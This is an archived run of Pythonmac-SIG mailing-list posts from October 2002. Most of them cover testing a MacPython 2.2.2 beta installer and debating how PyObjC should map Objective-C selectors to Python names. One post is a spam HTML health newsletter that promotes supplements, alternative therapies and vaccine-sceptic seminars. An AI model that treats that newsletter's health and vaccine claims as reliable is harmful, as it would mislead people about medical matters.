http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma=20
Goldman -



From Jack.Jansen@oratrix.com  Tue Oct 15 22:44:14 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 15 Oct 2002 23:44:14 +0200
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <38CF1516-DD6E-11D6-8C87-003065517236@oratrix.com>
Message-ID: <3F7FF974-E087-11D6-9823-003065517236@oratrix.com>

On zaterdag, oktober 12, 2002, at 01:07 , Jack Jansen wrote:

>
> On vrijdag, oktober 11, 2002, at 12:06 , Jack Jansen wrote:
>> http://www.cwi.nl/~jack/secret/MacPython222b1full.hqx .

Folks,
aside from good news from the people who tested this version for 
the Jaguar <<terminated>> bug I have had absolutely no feedback.

And if I get enough positive feedback I can do a release of 
2.2.2 final this weekend, so please test this if you can spare 
the time, and report back here (also for success, please!).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Tue Oct 15 22:46:05 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 15 Oct 2002 23:46:05 +0200
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <38CF1516-DD6E-11D6-8C87-003065517236@oratrix.com>
Message-ID: <817CC764-E087-11D6-9823-003065517236@oratrix.com>

On zaterdag, oktober 12, 2002, at 01:07 , Jack Jansen wrote:

>
> On vrijdag, oktober 11, 2002, at 12:06 , Jack Jansen wrote:
>> http://www.cwi.nl/~jack/secret/MacPython222b1full.hqx .

Folks,
aside from good news from the people who tested this version for 
the Jaguar <<terminated>> bug I have had absolutely no feedback.

And if I get enough positive feedback I can do a release of 
2.2.2 final this weekend, so please test this if you can spare 
the time, and report back here (also for success, please!).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From niel_mayhew@mac.com  Tue Oct 15 22:57:22 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Tue, 15 Oct 2002 15:57:22 -0600
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <817CC764-E087-11D6-9823-003065517236@oratrix.com>
Message-ID: <B9D1EB62.6D39%niel_mayhew@mac.com>

on 15/10/2002 3:46 PM, Jack Jansen wrote:

> ... please test this if you can spare the time, and report back here
> (also for success, please!)

Jack,

The installer you posted Friday has expired and is refusing to run for me. =
I
tested it at home over the weekend, but now I=B9m not able to install it on m=
y
G4 at work (the one that had the worst problems).

--Neil

(email address deliberately misspelled to foil spammers)



From seth@jtan.com  Tue Oct 15 23:55:56 2002
From: seth@jtan.com (Seth Delackner)
Date: Tue, 15 Oct 2002 15:55:56 -0700
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <4F672B66-DEE6-11D6-9A91-0003938210D6@redivi.com>
Message-ID: <43A9B938-E091-11D6-A380-000393873F82@jtan.com>

Bob, have a look at the sample code they include.  Having seen the 
beauty of Python and, separately, the power of Objective-C, this 
library's syntax seems to strip each of both.  But it is the only one, 
and though it is still changing I suppose if you *must* use Cocoa + 
Python together, then it seems good.

Hey, when do we see a new pygame / python / kitchensink build?

On Sunday, October 13, 2002, at 12:59 , Bob Ippolito wrote:

> I don't know if this has hit list yet, but I ran across somebody else's 
> successful attempt to create a pure python Cocoa application 
> ( http://radio.weblogs.com/0100490/ ).
>
> Seems to work quite well.  Possibly should consider including it with 
> MacPython?
>
> -bob
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig



From alexp@strata.com  Wed Oct 16 00:42:46 2002
From: alexp@strata.com (Alexandre Parenteau)
Date: Tue, 15 Oct 2002 16:42:46 -0700
Subject: [Pythonmac-SIG] For your eyes only - second time around
In-Reply-To: <817CC764-E087-11D6-9823-003065517236@oratrix.com>
Message-ID: <B9D1F606.82AB%alexp@strata.com>

> And if I get enough positive feedback I can do a release of
> 2.2.2 final this weekend, so please test this if you can spare
> the time, and report back here (also for success, please!).

Jack,

There is still something that puzzles me: I even re-installed my system in
order to make sure.

On my 10.2.1 SMP, Python 2.2.2 as of CVS, CW 7.2, the fullbuild.py script
*never* returns errors from CodeWarrior, and it used to before 10.2.

Don't think it is a 2.2.2 issue vs 2.2.1.

I feel bad, because it is all the OSA which seems unable to return a result
right now for me, and I have no clue as where to look at for answers.

I noticed definitively some glitches (we talked about it privately I think)
since 10.2 with AppleEvents. I wonder if this is another SMP thing, but it
does the same thing at home on my G4/450.

I think you would have noticed such a behavior.

Alex.

> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution --
> Emma Goldman -
> 
> 
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
> 



From bob@mastersofbranding.com  Wed Oct 16 01:32:02 2002
From: bob@mastersofbranding.com (Bob Ippolito)
Date: Tue, 15 Oct 2002 20:32:02 -0400
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <43A9B938-E091-11D6-A380-000393873F82@jtan.com>
Message-ID: <B0B80DBF-E09E-11D6-9A91-0003938210D6@mastersofbranding.com>

Well more often than not, view/controller code is generally pretty 
nasty regardless of API and language anyways.  It is the only way I've 
seen so far that can harness the power of Interface Builder with 
Python, and one of the few ways that'll get you a working GUI in OS X 
sans X11 at all.

As for pygame, I'm waiting for 2.3.  I don't have time to maintain it.  
Last I tried, pygame compiles fine provided you have all the necessary 
libraries installed.  I'd really like if someone cleaned up pyOpenGL, 
but other than that there aren't too many problems.

-bob


On Tuesday, Oct 15, 2002, at 18:55 America/New_York, Seth Delackner 
wrote:

> Bob, have a look at the sample code they include.  Having seen the 
> beauty of Python and, separately, the power of Objective-C, this 
> library's syntax seems to strip each of both.  But it is the only one, 
> and though it is still changing I suppose if you *must* use Cocoa + 
> Python together, then it seems good.
>
> Hey, when do we see a new pygame / python / kitchensink build?
>
> On Sunday, October 13, 2002, at 12:59 , Bob Ippolito wrote:
>
>> I don't know if this has hit list yet, but I ran across somebody 
>> else's successful attempt to create a pure python Cocoa application ( 
>> http://radio.weblogs.com/0100490/ ).
>>
>> Seems to work quite well.  Possibly should consider including it with 
>> MacPython?
>>
>> -bob
>>
>>
>> _______________________________________________
>> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
>> http://mail.python.org/mailman/listinfo/pythonmac-sig
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig



From oussoren@cistron.nl  Wed Oct 16 08:09:14 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Wed, 16 Oct 2002 09:09:14 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <43A9B938-E091-11D6-A380-000393873F82@jtan.com>
Message-ID: <2D6D8C5F-E0D6-11D6-A17D-0003931CFE24@cistron.nl>

On Wednesday, Oct 16, 2002, at 00:55 Europe/Amsterdam, Seth Delackner 
wrote:

> Bob, have a look at the sample code they include.  Having seen the 
> beauty of Python and, separately, the power of Objective-C, this 
> library's syntax seems to strip each of both.

Could you elaborate on that? I know about the long and ugly method 
names in proxyied Objective-C classes and would be interested if you 
see other problems.

W.R.T. the long method names: I'd be interested in opinions on how to 
improve on this.

Ronald



From seth@jtan.com  Wed Oct 16 08:13:21 2002
From: seth@jtan.com (Seth Delackner)
Date: Wed, 16 Oct 2002 00:13:21 -0700
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <B0B80DBF-E09E-11D6-9A91-0003938210D6@mastersofbranding.com>
Message-ID: <C0E8CF8A-E0D6-11D6-9F77-000393873F82@jtan.com>

I was actually more concerned by the syntactic problems with the pyobjc 
system:
Objective-C:						pyobjc:
[ obj method ]						obj.method()
[ obj method: arg ]					obj.method_(arg)
[ obj method: arg1 withOtherArgs: arg2 ]	obj.method_withOtherArgs_
( arg1, arg2 )

I would tend to prefer that the python version be:

def method(arg=0, withOtherArgs=0):

Which makes use of default arguments and labels.  Since Objective-C 
doesn't even HAVE optional arguments, this would work just fine.  
Although I suppose I should just be quiet to avoid a pointless language 
argument.

On Tuesday, October 15, 2002, at 05:32 , Bob Ippolito wrote:

> Well more often than not, view/controller code is generally pretty 
> nasty regardless of API and language anyways.  It is the only way I've 
> seen so far that can harness the power of Interface Builder with 
> Python, and one of the few ways that'll get you a working GUI in OS X 
> sans X11 at all.



From seth@jtan.com  Wed Oct 16 08:25:35 2002
From: seth@jtan.com (Seth Delackner)
Date: Wed, 16 Oct 2002 00:25:35 -0700
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <2D6D8C5F-E0D6-11D6-A17D-0003931CFE24@cistron.nl>
Message-ID: <76453C24-E0D8-11D6-9F77-000393873F82@jtan.com>

To expand on my previous comment in a different direction, why not:

rt = pyobjc.runtime

rt.call(obj, "message", "arg1name", arg1value, "arg2name", arg2value);
Which would directly map to:
[obj message arg1name:arg1value arg2name:arg2value];
although I'll be the first to admit I have no idea how to actually 
affect that transform.


On Wednesday, October 16, 2002, at 12:09 , Ronald Oussoren wrote:
> W.R.T. the long method names: I'd be interested in opinions on how to 
> improve on this.



From just@letterror.com  Wed Oct 16 08:45:52 2002
From: just@letterror.com (Just van Rossum)
Date: Wed, 16 Oct 2002 09:45:52 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <76453C24-E0D8-11D6-9F77-000393873F82@jtan.com>
Message-ID: <r01050400-1021-4E05AE07E0DB11D6AB3C003065D5E7E4@[194.109.189.111]>

Seth Delackner wrote:

> To expand on my previous comment in a different direction, why not:
> 
> rt = pyobjc.runtime
> 
> rt.call(obj, "message", "arg1name", arg1value, "arg2name", arg2value);
> Which would directly map to:
> [obj message arg1name:arg1value arg2name:arg2value];
> although I'll be the first to admit I have no idea how to actually 
> affect that transform.

I still know very little about ObjC, let alone pyobjc, but in my ideal would be
something like:

  obj.message(arg1name=arg1value, arg2name=arg2value)

This can't work directly, as keyword args in Python don't have an order, but I
wonder whether there is some lower level in the interpreter which would allow
the original keyword arg order to be maintained, but probably not. I'll have a
look at this when I have the time.

Just


From Jack.Jansen@cwi.nl  Wed Oct 16 09:54:46 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Wed, 16 Oct 2002 10:54:46 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <r01050400-1021-4E05AE07E0DB11D6AB3C003065D5E7E4@[194.109.189.111]>
Message-ID: <EBF4593D-E0E4-11D6-9418-0030655234CE@cwi.nl>

On Wednesday, October 16, 2002, at 09:45 , Just van Rossum wrote:

> Seth Delackner wrote:
>
>> To expand on my previous comment in a different direction, why not:
>>
>> rt = pyobjc.runtime
>>
>> rt.call(obj, "message", "arg1name", arg1value, "arg2name", arg2value);
>> Which would directly map to:
>> [obj message arg1name:arg1value arg2name:arg2value];
>> although I'll be the first to admit I have no idea how to actually
>> affect that transform.
>
> I still know very little about ObjC, let alone pyobjc, but in my ideal 
> would be
> something like:
>
>   obj.message(arg1name=arg1value, arg2name=arg2value)

There's a fundamental problem with this: the "argnames" are really part 
of the Objective C method name. I.e. if you see  a call [object message: 
arg1 withFoo: arg2] you should think of "message:withFoo:" as the method 
name, *not* of "message:" as the message name and "withFoo:" as the name 
of an optional argument.

Within the ObjC environment the three methods [object message], [object 
message: arg1] and [object message: arg1 withFoo: arg2] have absolutely 
no relationship to each other. Trying to unify these is going to lead to 
some very ugly code at some point. For instance, how would you override 
"message:withFoo:" in a Python object subclassed from an ObjC object 
without overriding "message:"?

ObjC picked the "interspersed method names" (there's probably an 
official term for this) up from Smalltalk. And, incidentally, ABC, 
Python's predecessor, had this same syntax but it's one of the many 
things from ABC that Guido dropped for Python.

Something that is open to discussion, I think, is how to map ObjC names 
to Python names. The current PyObjC code supports two compile-time 
options, object.message_withFoo_(arg1, arg2) and another that I forget 
with even more underscores in there (this mapping is ambiguous: it maps 
to both [object message: withFoo:] and to [object message_withFoo:]). 
The Java-ObjC brigde has simply defined sensible static mappings for all 
names used in Cocoa, and the above would probably become something like 
object.messagewithFoo() or object.messageWithFoo(). Python's current 
method is more flexible, but boy does it lead to ugly method names in 
your code...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From jm@lists.mercola.com  Wed Oct 16 13:13:01 2002
From: jm@lists.mercola.com (jm@lists.mercola.com)
Date: Wed, 16 Oct 2002 07:13:01 -0500 (CDT)
Subject: [Pythonmac-SIG] eHealthy News You Can Use October 16, 2002 - Issue 368
Message-ID: <20021016121301.624A833B38@mercola.com>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-2">
<META content="MSHTML 6.00.2719.2200" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>
<DIV align=left><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/homeopathy.htm">Homeopathy, Economics, 
and Government</A> - All of the historical data makes it quite clear that 
alternative or natural medicine has always had a powerful and persistent 
presence in the US.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/vitamin_d_osteoporosis.htm">Engineered 
Vitamin D May Prevent Osteoporosis</A> - Researchers have discovered a modified 
form of vitamin D that can help stimulate bone growth. But is it is a good as 
the real vitamin D?</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/organic_label.htm">"USDA Organic" Label 
Finally Here</A> - After years of confusion about what it means when food is 
labeled organic, the U.S. Department of Agriculture is about to roll out a new 
seal designed to bring clarity to a fast-growing 
industry.</FONT></FONT></P></DIV>
<P>
<TABLE cellSpacing=0 cellPadding=0 width=250 align=right border=0>
  <TBODY>
  <TR>
    <TD vAlign=center align=middle>
      <FORM 
      action=http://www.mercola.com/cgi-bin/WebObjects/Subscription.woa/wa/subscribe 
      method=get>
      <P><INPUT size=16 name=email><FONT face=Verdana size=2> &nbsp; </FONT><INPUT type=submit value=Subscribe><FONT face=Verdana size=2> 
      </FONT></P></FORM></TD></TR></TBODY></TABLE></P>
<P><FONT size=2><FONT face=Verdana><B><FONT color=#ff0000>Not Subscribed to the 
Newsletter Yet?</FONT></B> You can subscribe by filling in your email address in 
the box to the right, and clicking Subscribe.</FONT></FONT></P><FONT 
face="Verdana, Arial, Helvetica, sans-serif" size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/banting.htm">The First Low Carb Book Is 
Nearly 150 Years Old</A> - The first low-carbohydrate diet book was written in 
1863 by William Banting and has been attested to by nearly 150 years of 
epidemiological studies and clinical trials.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/forms/livingfuel.htm">Living Fuel SuperFood: Total 
Nutrition and Convenience Can Be Yours</A> - Can't always sit down to a healthy 
meal because you're often on the go? Then Living Fuel, which meets nearly all of 
your nutritional needs in a convenient format, is the answer!</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/carcinogens.htm">Latest on Carcinogen 
in French Fries</A> - Scientists now believe asparagine, a naturally occurring 
amino acid is what is causing the increase in cancer causing 
acrylamide.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/health_costs.htm">Higher US Health 
Costs for 2003 -- Imagine That</A> - Health costs are still rising. Is anybody 
really surprised? Next year, large employers will see the highest annual 
percentage increase in healthcare costs in a decade.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/doctor_gifts.htm">Government Says Gifts 
to Doctors May Be Illegal</A> - It's about time they made drug company bribes to 
doctors illegal. Read up on what the government is doing about this important 
issue.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/article/eft_videos.htm">Psychological Acupressure 
Will Help Eliminate Your Emotional Barriers</A> - Instill positive emotions, 
ease pain and suffering, and eliminate unhealthy cravings with EFT. Learn how to 
put this safe, simple and most powerful form of psychological acupressure to 
work for you.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/16/violence.htm">Violence -- A Universal 
Challenge</A> - A major report from the World Health Organization reveals more 
than 1.6 million people are killed each year by violence.</FONT></P></FONT>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><FONT 
face=Arial><FONT face=Verdana><STRONG><FONT color=#ff0000>Do you have a specific 
health question?</FONT></STRONG> Try typing it in our search engine and you will 
see if any of the 15,000 pages I have compiled will answer it for 
you.</FONT></P>
<DIV>
<DIV align=left>
<FORM action=http://www.google.com/custom>
<DIV align=center><INPUT type=hidden value=AH:center;AWFID:5cdb2968a482194d; 
name=cof><FONT face=Verdana> </FONT><INPUT type=hidden value=www.mercola.com 
name=domains><FONT face=Verdana> </FONT><INPUT type=hidden value=www.mercola.com 
name=sitesearch><FONT face=Verdana> </FONT><INPUT size=31 name=q><FONT 
face=Verdana> &nbsp; </FONT><INPUT type=submit value="Search Mercola.com" name=sa2><FONT 
face=Verdana> </FONT></FONT></FONT></DIV></FORM></DIV></DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
  <TBODY>
  <TR>
    <TD align=middle>
      <TABLE cellSpacing=3 cellPadding=6 border=0>
        <TBODY>
        <TR>
          <TD align=middle width=82><IMG alt="" hspace=0 
            src="http://www.mercola.com/images/shopper_and_cart368.jpg" 
            border=0><A href="http://www.mercola.com/store.htm"></A></TD>
          <TD>
            <P><FONT face="Arial, Helvetica, sans-serif"><B><A 
            href="http://www.mercola.com/store.htm">Tools to Help You Recover 
            Your Health</A></B></FONT><FONT 
            face="Arial, Helvetica, sans-serif"><B> </B></FONT></P>
            <P><FONT face=Arial>Use these hard-to-find resources to take your 
            health to the next 
  level.</FONT></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<HR>
</DIV>
<H2 align=center><FONT face=Verdana color=#000000><B>Upcoming Course/Seminar 
Information</B></FONT></H2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/nst/nst.htm">New Technique From Australia Gives 
Almost Complete Relief From Arthritis Pain</A> - Now health care practitioners 
can learn this innovative technique from Australia that can radically improve 
your ability to provide rapid relief to your clients/patients. All four 
therapists and myself use this technique nearly every day in our center. New 
Basic and Advanced Seminars have now been scheduled for 2003.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/aug/7/skasys.htm">SkaSys: Superior to Any 
Existing EAV System</A> - An incredible technology, SkaSys, enables far more 
efficient and precise bioenergetic, kinesiological, and autonomic reflex testing 
than any EAV system. Get in-depth information on the application and methods of 
SkaSys, including testing for heavy metal loads and individual detox protocols, 
in this seminar hosted by its developer, Dr. Hans Lechner.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/5/apn_conference.htm">The 2nd Annual 
Conference on Applied Neurobiology</A> - The principles of ART and ARN will be 
the focus in this conference centered on Lyme Disease and Co-Infections. I will 
speak in this think-tank style discussion along with some of the world's leading 
medical practitioners.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/sep/18/nvic.htm">Vaccines: A Major Conference 
Separating Fact from Fiction</A> - Over twenty-seven of the world's leading 
medical, psychological and legal experts will expose the truth behind vaccines 
in this national event that promises to influence the course of U.S. vaccine 
practice and policy. Medical practitioners and the general public are encouraged 
to attend this conference on November 7-9 in Arlington, Virginia.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/nst/nst.htm"></A></FONT><FONT face=Verdana 
size=2><A href="http://www.mercola.com/2001/jul/18/vaccine_seminars.htm">More 
Vaccine Seminars</A> - Opportunities to attend live lectures around the country 
on this vitally important issue of our times. Have your specific questions 
personally answered with practical alternatives.</FONT></P>
<P>
<P><!-- #BeginLibraryItem "/Library/index.bottom.lbi" --></P><FONT face=Verdana 
size=2><FONT color=#ff0000>
<DIV><STRONG>
<HR>
</STRONG></DIV>
<DIV><FONT face=Arial color=#000000></FONT>&nbsp;</DIV></FONT></FONT>
<DIV><FONT face=Verdana size=2><STRONG><FONT color=#ff0000>Having Trouble With 
the Newsletter?</FONT></STRONG><FONT face=Verdana size=2><STRONG> </STRONG>We 
are in the process of upgrading to a new e-mail server, but in the meantime you 
can go to </FONT><A href="http://www.mercola.com/"><FONT face=Verdana 
size=2>www.mercola.com</FONT></A><FONT face=Verdana size=2> and click on 
</FONT><FONT face=Verdana color=#0000ff size=2>"Current Issue"</FONT><FONT 
face=Verdana size=2> to obtain the Web version of this 
email.</FONT></FONT></DIV>
<DIV>
<P><FONT face=Verdana size=2><FONT face=Verdana size=2><STRONG>Records of all of 
the back issues of the Newsletters can be viewed by clicking </STRONG></FONT><A 
href="http://www.mercola.com/index.html"><FONT face=Verdana size=2><A 
href="http://www.mercola.com/index.html">http://www.mercola.com/index.html</A></FONT></A></FONT></P><FONT 
face=Verdana size=2>
<P><FONT face=Verdana size=2><STRONG>Are you tired of clicking on all the links 
to the articles?</STRONG> To sign up for the FULL TEXT version of this 
newsletter you can send a blank e-mail to: <A 
href="mailto:healthnews-subscribe@topica.com">Healthnews-subscribe@topica.com</A> 
The full newsletter is 20-40 pages long and can be up to 250KB, so if you have a 
slow Internet connection it will take several minutes to download the e-mail. 
WARNING: This subscription does not work if you use AOL for your 
e-mail.</FONT></FONT></P></DIV>
<HR>

<DIV align=left>
<P><FONT face=Verdana size=2><B><FONT color=#ff0000>©Copyright Dr. Joseph 
Mercola, 2002. </FONT></B>All Rights Reserved. This content may be copied in 
full, as long as copyright, contact, and creation information is given, only if 
used only in a not-for-profit format. If possible, I would also appreciate an 
endorsement and encouragement to subscribe to the newsletter. If any other use 
is desired, written permission is required.</FONT></P></DIV><!-- #EndLibraryItem -->
<P><FONT face=Arial size=2>You are currently subscribed as pythonmac-sig@python.org, to 
unsubscribe please send a blank email to </FONT><FONT face=Arial 
size=2>ted+unsubscribe@lists.mercola.com</FONT><FONT face=Arial 
size=2>.</FONT></P></FONT></DIV></BODY></HTML>



From oussoren@cistron.nl  Wed Oct 16 13:28:15 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Wed, 16 Oct 2002 14:28:15 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <EBF4593D-E0E4-11D6-9418-0030655234CE@cwi.nl>
Message-ID: <BE653E8F-E102-11D6-BCBB-0003931CFE24@cistron.nl>

On Wednesday, Oct 16, 2002, at 10:54 Europe/Amsterdam, Jack Jansen 
wrote:
>
> There's a fundamental problem with this: the "argnames" are really 
> part of the Objective C method name. I.e. if you see  a call [object 
> message: arg1 withFoo: arg2] you should think of "message:withFoo:" as 
> the method name, *not* of "message:" as the message name and 
> "withFoo:" as the name of an optional argument.
>
> Within the ObjC environment the three methods [object message], 
> [object message: arg1] and [object message: arg1 withFoo: arg2] have 
> absolutely no relationship to each other. Trying to unify these is 
> going to lead to some very ugly code at some point. For instance, how 
> would you override "message:withFoo:" in a Python object subclassed 
> from an ObjC object without overriding "message:"?

This is the reason why I've never looked into implementing keyword 
methods. And as Just already indicated [object messageWithArg:arg1 
withFoo:arg2] is different from [object messageWithFoo:arg2 
withArg:arg1].

> Something that is open to discussion, I think, is how to map ObjC 
> names to Python names. The current PyObjC code supports two 
> compile-time options, object.message_withFoo_(arg1, arg2) and another 
> that I forget with even more underscores in there (this mapping is 
> ambiguous: it maps to both [object message: withFoo:] and to [object 
> message_withFoo:]). The Java-ObjC brigde has simply defined sensible 
> static mappings for all names used in Cocoa, and the above would 
> probably become something like object.messagewithFoo() or 
> object.messageWithFoo(). Python's current method is more flexible, but 
> boy does it lead to ugly method names in your code...

Changing the mapping from Objective-C names to/from Python names is 
definitely open for discusion.

BTW. The current PyObjC no longer supports object.message__withFoo__.

Ronald



From Jack.Jansen@cwi.nl  Wed Oct 16 14:17:32 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Wed, 16 Oct 2002 15:17:32 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <BE653E8F-E102-11D6-BCBB-0003931CFE24@cistron.nl>
Message-ID: <A1260ADA-E109-11D6-BC55-0030655234CE@cwi.nl>

[I've added pyobjc-dev to the distribution]

On Wednesday, October 16, 2002, at 02:28 , Ronald Oussoren wrote:
>> Something that is open to discussion, I think, is how to map ObjC 
>> names to Python names. The current PyObjC code supports two 
>> compile-time options, object.message_withFoo_(arg1, arg2) and another 
>> that I forget with even more underscores in there (this mapping is 
>> ambiguous: it maps to both [object message: withFoo:] and to [object 
>> message_withFoo:]). The Java-ObjC brigde has simply defined sensible 
>> static mappings for all names used in Cocoa, and the above would 
>> probably become something like object.messagewithFoo() or 
>> object.messageWithFoo(). Python's current method is more flexible, but 
>> boy does it lead to ugly method names in your code...
>
> Changing the mapping from Objective-C names to/from Python names is 
> definitely open for discusion.
>
> BTW. The current PyObjC no longer supports object.message__withFoo__.

I think that what I would like is one static scheme that is the same (or 
almost the same) as the Java/ObjC naming scheme, plus a fallback scheme 
(which could be the current message_withFoo_ scheme). There may be a 
problem here with overloading, though: if I look at AppKitJava there's 
often multiple ObjC selectors that map to one Java method name, I'm not 
sure how they handle this, especially in the face of overriding ObjC 
methods from Java.

The static scheme could simply be a Python dictionary (or an 
NSDictionary, but a Python dictionary is easier to initialize, I guess) 
that we initialize with Python code, where the Python code is generated 
by running /Developer/Java/Jobs/*.jobs through a script. Fastest is 
probably to create both Python->ObjC and ObjC->Python dictionaries.

Is it still possible to have two name mapping schemes, where first one 
is tried and then the other? Or would this wreak havoc now that we have 
two-way inheritance and such?

Hmm, even if that isn't possible we could cop out: if the method name 
translation routine finds that a certain name isn't in the dictionaries 
it would simply add it. Or (more cumbersome, but safer) there could be a 
(Python) API MapObjCSelector('message:withFoo', 'messageWithFoo') which 
could then also check that this mapping doesn't conflict with another 
one. With such a scheme the Python programmer would have to declare any 
new ObjC messages it uses, but the question is how often this will 
happen.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From bobsavage@mac.com  Wed Oct 16 14:18:40 2002
From: bobsavage@mac.com (Bob Savage)
Date: Wed, 16 Oct 2002 08:18:40 -0500
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <EBF4593D-E0E4-11D6-9418-0030655234CE@cwi.nl>
Message-ID: <C986721E-E109-11D6-9287-00306547CFF0@mac.com>

On Wednesday, October 16, 2002, at 02:25 AM, Seth Delackner wrote:

> why not:
>
> rt = pyobjc.runtime
>
> rt.call(obj, "message", "arg1name", arg1value, "arg2name", arg2value);
> Which would directly map to:
> [obj message arg1name:arg1value arg2name:arg2value];


On Wednesday, October 16, 2002, at 03:54 AM, Jack Jansen wrote:

> Within the ObjC environment the three methods [object message], 
> [object message: arg1] and [object message: arg1 withFoo: arg2] have 
> absolutely no relationship to each other. Trying to unify these is 
> going to lead to some very ugly code at some point.

I just want to point out one more thing: because these are part of the 
name of the method, and not truly labels, the following two methods are 
distinct:

[obj message: arg1 withFoo: arg2];
[obj withFoo:arg2 message:arg1];

Those are two different methods. This means that the Seth's system 
would not work at all (although I don't like it because it makes the 
relation between the 'labels' and arguments less clear). And of course 
to amplify Jack's point above, there are actually FOUR methods with no 
relationship to each other.

In my opinion, it is a dead end to try to incorporate arguments with 
keywords into PyObjC name mangling.

Bob <-- feel free to ignore him until he finishes his coffee



From mwh@python.net  Wed Oct 16 15:12:25 2002
From: mwh@python.net (Michael Hudson)
Date: 16 Oct 2002 15:12:25 +0100
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: Bob Savage's message of "Wed, 16 Oct 2002 08:18:40 -0500"
References: <C986721E-E109-11D6-9287-00306547CFF0@mac.com>
Message-ID: <2mzntescae.fsf@starship.python.net>

Bob Savage <bobsavage@mac.com> writes:

> I just want to point out one more thing: because these are part of the 
> name of the method, and not truly labels, the following two methods are 
> distinct:
> 
> [obj message: arg1 withFoo: arg2];
> [obj withFoo:arg2 message:arg1];
> 
> Those are two different methods.

But surely this isn't an issue in practice?  That would be horrible!

Cheers,
M.
(who knows no objective c at all...)

-- 
  Just put the user directories on a 486 with deadrat7.1 and turn the
  Octane into the afforementioned beer fridge and keep it in your
  office. The lusers won't notice the difference, except that you're
  more cheery during office hours.              -- Pim van Riezen, asr


From oussoren@cistron.nl  Wed Oct 16 15:39:45 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Wed, 16 Oct 2002 16:39:45 +0200
Subject: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <A1260ADA-E109-11D6-BC55-0030655234CE@cwi.nl>
